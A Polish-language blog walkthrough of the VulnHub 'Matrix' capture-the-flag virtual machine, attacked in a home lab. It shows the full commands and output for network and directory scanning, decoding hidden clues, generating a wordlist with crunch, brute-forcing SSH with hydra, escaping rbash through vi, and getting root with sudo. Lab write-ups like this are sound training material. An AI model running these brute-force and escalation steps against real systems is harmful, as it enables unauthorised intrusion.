Kolejna nowa seria, tym razem opis przejścia maszyny wirtualnej pobranej z serwisu vulnhub, a następnie uruchomionej na lokalnej maszynie.
Jest to zadanie polegające na dostaniu się do maszyny virtualnej na konto superużytkownika root przy pomocy znanych technik pokonywania zabezpieczeń, zatem do dzieła:
Najpierw muszę ustalić jaki adres IP został przydzielony mojej maszynie poprzez serwer DHCP skonfigurowany na moim routerze.
1 2 3 4 5 6 7 8 9 10 11 |
netdiscover -r 192.168.1.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 7 Captured ARP Req/Rep packets, from 3 hosts. Total size: 420 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.1.1 00:1a:70:98:e6:e2 3 180 Cisco-Linksys, LLC 192.168.1.101 74:2b:62:ec:24:e6 3 180 FUJITSU LIMITED 192.168.1.104 08:00:27:e5:b2:aa 1 60 PCS Systemtechnik GmbH |
Na podstawie adresu MAC można określić, że badanym hostem będzie 192.168.1.104. Sprawdźmy zatem jakie usługi działają na tym hoście:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
root@kali-desktop:~# nmap -sV -p- -A 192.168.1.104 Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-24 08:54 CET Nmap scan report for 192.168.1.104 Host is up (0.0010s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.7 (protocol 2.0) | ssh-hostkey: | 2048 9c:8b:c7:7b:48:db:db:0c:4b:68:69:80:7b:12:4e:49 (RSA) | 256 49:6c:23:38:fb:79:cb:e0:b3:fe:b2:f4:32:a2:70:8e (ECDSA) |_ 256 53:27:6f:04:ed:d1:e7:81:fb:00:98:54:e6:00:84:4a (ED25519) 80/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14) |_http-server-header: SimpleHTTP/0.6 Python/2.7.14 |_http-title: Welcome in Matrix 31337/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14) |_http-server-header: SimpleHTTP/0.6 Python/2.7.14 |_http-title: Welcome in Matrix MAC Address: 08:00:27:E5:B2:AA (Oracle VirtualBox virtual NIC) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.70%E=4%D=2/24%OT=22%CT=1%CU=39410%PV=Y%DS=1%DC=D%G=Y%M=080027%T OS:M=5E538172%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%II=I%TS=A OS:)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=10D%T OS:I=Z%TS=A)OPS(O1=M5ACST11NW6%O2=M5ACST11NW6%O3=M5ACNNT11NW6%O4=M5ACST11NW OS:6%O5=M5ACST11NW6%O6=M5ACST11)WIN(W1=7080%W2=7080%W3=7080%W4=7080%W5=7080 OS:%W6=7080)ECN(R=Y%DF=Y%T=40%W=7170%O=M5ACNNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40% OS:S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=% OS:RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W OS:=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) OS:U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%D OS:FI=N%T=40%CD=S) Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 1.04 ms 192.168.1.104 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 64.10 seconds |
Badanie skanerem nmap pozwala określić działające na hoście porty, którymi tutaj są 22,80 oraz 31337. Pierwszy odpowiada za zdalne logowanie się na host, kolejne to porty serwera www.
Sprawdźmy zatem jaka jest zawartość strony, tzn. czy posiada jakieś ukryte katalogi, które mogą zawierać ukrytą zawartość. Użyję narzędzia dirbuster.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
root@kali-desktop:~# dirb http://192.168.1.104 /usr/share/dirb/wordlists/common.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Mon Feb 24 09:39:33 2020 URL_BASE: http://192.168.1.104/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.1.104/ ---- + http://192.168.1.104/assets (CODE:301|SIZE:0) + http://192.168.1.104/index.html (CODE:200|SIZE:3734) ----------------- END_TIME: Mon Feb 24 09:40:10 2020 DOWNLOADED: 4612 - FOUND: 2 |
Wykorzystałem słownik z dystrybucji Kali Linux, gdzie znajdują się najbardziej popularne słowa kluczowe dla stron internetowych. Zawartość wypisana powyżej nie przedstawia żadnej ciekawej informacji. Sprawdziłem również plik robots.txt (nie istnieje) oraz kod strony (nie posiada kluczowych informacji dla zadania.)
Pora przyjrzeć się portowi 31337. To również serwer www.
Następnie ponownie skanuję programem dirbuster zawartość strony.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
root@kali-desktop:~# dirb http://192.168.1.104:31337 /usr/share/dirb/wordlists/common.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Mon Feb 24 09:44:37 2020 URL_BASE: http://192.168.1.104:31337/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.1.104:31337/ ---- + http://192.168.1.104:31337/assets (CODE:301|SIZE:0) + http://192.168.1.104:31337/index.html (CODE:200|SIZE:3998) ----------------- END_TIME: Mon Feb 24 09:44:57 2020 DOWNLOADED: 4612 - FOUND: 2 |
Podobnie jak powyżej nie ma żadnej przydatnej informacji, teraz kod strony, tutaj jest coś ciekawego.
1 2 3 4 |
<!-- service --> <div class="service"> <!--p class="service__text">ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=</p--> </div><!-- End / service --> |
Znajduje się tutaj informacja zakodowana w base64, odkodujmy ją.
1 2 3 4 |
root@kali-desktop:~# echo "ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=" | base64 -d echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrixroot@kali-desktop:~# |
Najpierw tekst z matrixa o łyżce a potec ciąg > cypher.matrix
Sprawdźmy zatem co da dołączenie tego ciągu do adresu na porcie 31337.
http://192.168.1.104:31337/Cypher.matrix
Po wejściu na ten adres ściąga się na komputer mały pliczek o wielkości 4kb. Poniżej jego treść:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 |
+++++ ++++[ ->+++ +++++ +<]>+ +++++ ++.<+ +++[- >++++ <]>++ ++++. +++++ +.<++ +++++ ++[-> ----- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]> +++.- -.<++ +[->+ ++<]> ++++. <++++ ++++[ ->--- ----- <]>-- ----- ----- --.<+ +++++ ++[-> +++++ +++<] >++++ +.+++ +++++ +.+++ +++.< +++[- >---< ]>--- ---.< +++[- >+++< ]>+++ +.<++ +++++ ++[-> ----- ----< ]>-.< +++++ +++[- >++++ ++++< ]>+++ +++++ +.+++ ++.++ ++++. ----- .<+++ +++++ [->-- ----- -<]>- ----- ----- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ +.<++ +[->- --<]> ---.< ++++[ ->+++ +<]>+ ++.-- .---- ----- .<+++ [->++ +<]>+ +++++ .<+++ +++++ +[->- ----- ---<] >---- ---.< +++++ +++[- >++++ ++++< ]>+.< ++++[ ->+++ +<]>+ +.<++ +++++ ++[-> ----- ----< ]>--. <++++ ++++[ ->+++ +++++ <]>++ +++++ .<+++ [->++ +<]>+ ++++. <++++ [->-- --<]> .<+++ [->++ +<]>+ ++++. +.<++ +++++ +[->- ----- --<]> ----- ---.< +++[- >---< ]>--- .<+++ +++++ +[->+ +++++ +++<] >++++ ++.<+ ++[-> ---<] >---- -.<++ +[->+ ++<]> ++.<+ ++[-> ---<] >---. <++++ ++++[ ->--- ----- <]>-- ----- -.<++ +++++ +[->+ +++++ ++<]> +++++ +++++ +++++ +.<++ +[->- --<]> ----- -.<++ ++[-> ++++< ]>++. .++++ .---- ----. +++.< +++[- >---< ]>--- --.<+ +++++ ++[-> ----- ---<] >---- .<+++ +++++ [->++ +++++ +<]>+ +++++ +++++ .<+++ ++++[ ->--- ----< ]>--- ----- -.<++ +++++ [->++ +++++ <]>++ +++++ +++.. <++++ +++[- >---- ---<] >---- ----- --.<+ +++++ ++[-> +++++ +++<] >++.< +++++ [->-- ---<] >-..< +++++ +++[- >---- ----< ]>--- ----- ---.- --.<+ +++++ ++[-> +++++ +++<] >++++ .<+++ ++[-> +++++ <]>++ +++++ +.+++ ++.<+ ++[-> ---<] >---- --.<+ +++++ [->-- ----< ]>--- ----. <++++ +[->- ----< ]>-.< +++++ [->++ +++<] >++++ ++++. <++++ +[->+ ++++< ]>+++ +++++ +.<++ ++[-> ++++< ]>+.+ .<+++ +[->- ---<] >---- .<+++ [->++ +<]>+ +..<+ ++[-> +++<] >++++ .<+++ +++++ [->-- ----- -<]>- ----- ----- --.<+ ++[-> ---<] >---. <++++ ++[-> +++++ +<]>+ ++++. <++++ ++[-> ----- -<]>- ----. <++++ ++++[ ->+++ +++++ <]>++ ++++. +++++ ++++. +++.< +++[- >---< ]>--. --.<+ ++[-> +++<] >++++ ++.<+ +++++ +++[- >---- ----- <]>-- -.<++ +++++ +[->+ +++++ ++<]> +++++ +++++ ++.<+ ++[-> ---<] >--.< ++++[ ->+++ +<]>+ +.+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++ +.+++ .---- ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++ +++[- >++++ ++++< ]>+++ .++++ +.--- ----. <++++ [->++ ++<]> +.<++ ++[-> ----< ]>-.+ +.<++ ++[-> ++++< ]>+.< +++[- >---< ]>--- ---.< +++[- >+++< ]>+++ +.+.< +++++ ++++[ ->--- ----- -<]>- -.<++ +++++ ++[-> +++++ ++++< ]>++. ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++ +[->+ +++++ <]>++ +++.< +++++ +[->- ----- <]>-- ---.< +++++ +++[- >++++ ++++< ]>+++ +++++ .---- ---.< ++++[ ->+++ +<]>+ ++++. <++++ [->-- --<]> -.<++ +++++ +[->- ----- --<]> ----- .<+++ +++++ +[->+ +++++ +++<] >+.<+ ++[-> ---<] >---- .<+++ [->++ +<]>+ +.--- -.<++ +[->- --<]> --.++ .++.- .<+++ +++++ [->-- ----- -<]>- ---.< +++++ ++++[ ->+++ +++++ +<]>+ +++++ .<+++ [->-- -<]>- ----. <+++[ ->+++ <]>++ .<+++ [->-- -<]>- --.<+ +++++ ++[-> ----- ---<] >---- ----. <++++ +++[- >++++ +++<] >++++ +++.. <++++ +++[- >---- ---<] >---- ---.< +++++ ++++[ ->+++ +++++ +<]>+ ++.-- .++++ +++.< +++++ ++++[ ->--- ----- -<]>- ----- --.<+ +++++ +++[- >++++ +++++ <]>++ +++++ +.<++ +[->- --<]> -.+++ +++.- --.<+ +++++ +++[- >---- ----- <]>-. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ .++++ +++++ .<+++ +[->- ---<] >--.+ +++++ ++.<+ +++++ ++[-> ----- ---<] >---- ----- --.<+ +++++ ++[-> +++++ +++<] >+.<+ ++[-> +++<] >++++ .<+++ [->-- -<]>- .<+++ +++++ [->-- ----- -<]>- ---.< +++++ +++[- >++++ ++++< ]>+++ +++.+ ++.++ +++.< +++[- >---< ]>-.< +++++ +++[- >---- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]> +++.< +++[- >+++< ]>+++ .+++. .<+++ [->-- -<]>- ---.- -.<++ ++[-> ++++< ]>+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++ .+.-- .---- ----- .++++ +.--- ----. <++++ ++++[ ->--- ----- <]>-- ----- .<+++ +++++ [->++ +++++ +<]>+ +++++ +++++ ++++. ----- ----. <++++ ++++[ ->--- ----- <]>-- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ ++++. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]> ++..+ +++.- ----- --.++ +.<++ +[->- --<]> ----- .<+++ ++++[ ->--- ----< ]>--- --.<+ ++++[ ->--- --<]> ----- ---.- --.< |
Ten szalony ciąg znaków to kodowanie o nazwie brainfuck. Tekst po rozkodowaniu przedstawia się poniżej:
1 2 |
You can enter into matrix as guest, with password k1ll0rXX Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password. |
Mamy tutaj informację, że możemy zalogować się na konto guest, natomiast hasło to k1ll0rXX, przy czym ostatnie znaki to …diabli wiedzą co…
Tutaj możemy wykorzystać program do tworzenia słowników haseł , a następnie metodą słownikową spróbować zalogować się na konto guest.
Zaczynamy od utworzenia słownika haseł:
1 2 3 4 5 6 7 8 9 10 |
root@kali-desktop:~# crunch 8 8 -t k1ll0r%@ -o slownik1.txt Crunch will now generate the following amount of data: 2340 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 260 crunch: 100% completed generating output |
Mając słownik próbujemy złamać hasło na usługę ssh:
1 2 3 4 5 6 7 8 9 10 11 |
root@kali-desktop:~# hydra -l guest -P slownik1.txt 192.168.1.104 ssh Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2020-02-24 10:02:44 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 260 login tries (l:1/p:260), ~17 tries per task [DATA] attacking ssh://192.168.1.104:22/ [22][ssh] host: 192.168.1.104 login: guest password: k1ll0r7n 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2020-02-24 10:03:17 |
Mamy zatem dane do zalogowania się na hosta przy pomocy ssh, login guest, password k1ll0r7n.
1 2 3 4 5 6 7 8 9 |
ssh guest@192.168.1.104 The authenticity of host '192.168.1.104 (192.168.1.104)' can't be established. ECDSA key fingerprint is SHA256:BMhLOBAe8UBwzvDNexM7vC3gv9ytO1L8etgkkIL8Ipk. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.1.104' (ECDSA) to the list of known hosts. guest@192.168.1.104's password: Last login: Mon Aug 6 16:25:44 2018 from 192.168.56.102 guest@porteus:~$ |
Mamy dostęp do terminala badanej maszyny.
1 2 |
guest@porteus:~$ ls -rbash: /bin/ls: restricted: cannot specify `/' in command names |
Jest to rbash, restrykcyjna wersja basha, która posiada możliwość wykonywania tylko określonych poleceń. Spróbujmy to obejść. W katalogu guest znajduje się plik vi, który jest edytorem plików. W edytorze możemy wydawać również komendy.
Stosując komendę :!/bin/bash możemy uruchomić zwykłą konsolę, która pozwala na dalsze kroki
Jeszcze tylko dodanie parametru PATH do konta:
1 2 |
export SHELL=/bin/bash:$SHELL export PATH=/usr/bin:$PATH |
I możemy próbować przelogować się na konto root
1 2 3 4 5 6 |
guest@porteus:~$ sudo -l User guest may run the following commands on porteus: (ALL) ALL (root) NOPASSWD: /usr/lib64/xfce4/session/xfsm-shutdown-helper (trinity) NOPASSWD: /bin/cp |
Z powyższego wpisu wynika, że każdy może zmienić konto na roota, spróbujmy zatem:
1 2 3 4 5 6 7 8 9 10 11 12 |
guest@porteus:~$ sudo su We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. Password: root@porteus:/home/guest# |
Mamy zatem dostęp do konta root, zadanie wykonane, teraz pora na odczytanie flagi:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
root@porteus:/home/guest# cd /root root@porteus:~# ls Desktop/ Documents/ Downloads/ Music/ Pictures/ Public/ Videos/ flag.txt root@porteus:~# cat flag.txt _,-. ,-' _| EVER REWIND OVER AND OVER AGAIN THROUGH THE |_,-O__`-._ INITIAL AGENT SMITH/NEO INTERROGATION SCENE |`-._`.__ `_. IN THE MATRIX AND BEAT OFF |`-._`-.\,-'_| _,-'. `-.|.-' | |`.-'|_ WHAT | |_|,-'_`. |-._,-' | NO, ME NEITHER jrei | | _,' '-|_,-' IT'S JUST A HYPOTHETICAL QUESTION root@porteus:~# |
Tutaj kończy się zadanie, test maszyn wirtualnych jest bardzo interesujący i pouczający. Wymaga oddzielnej serii dla tego zagadnienia.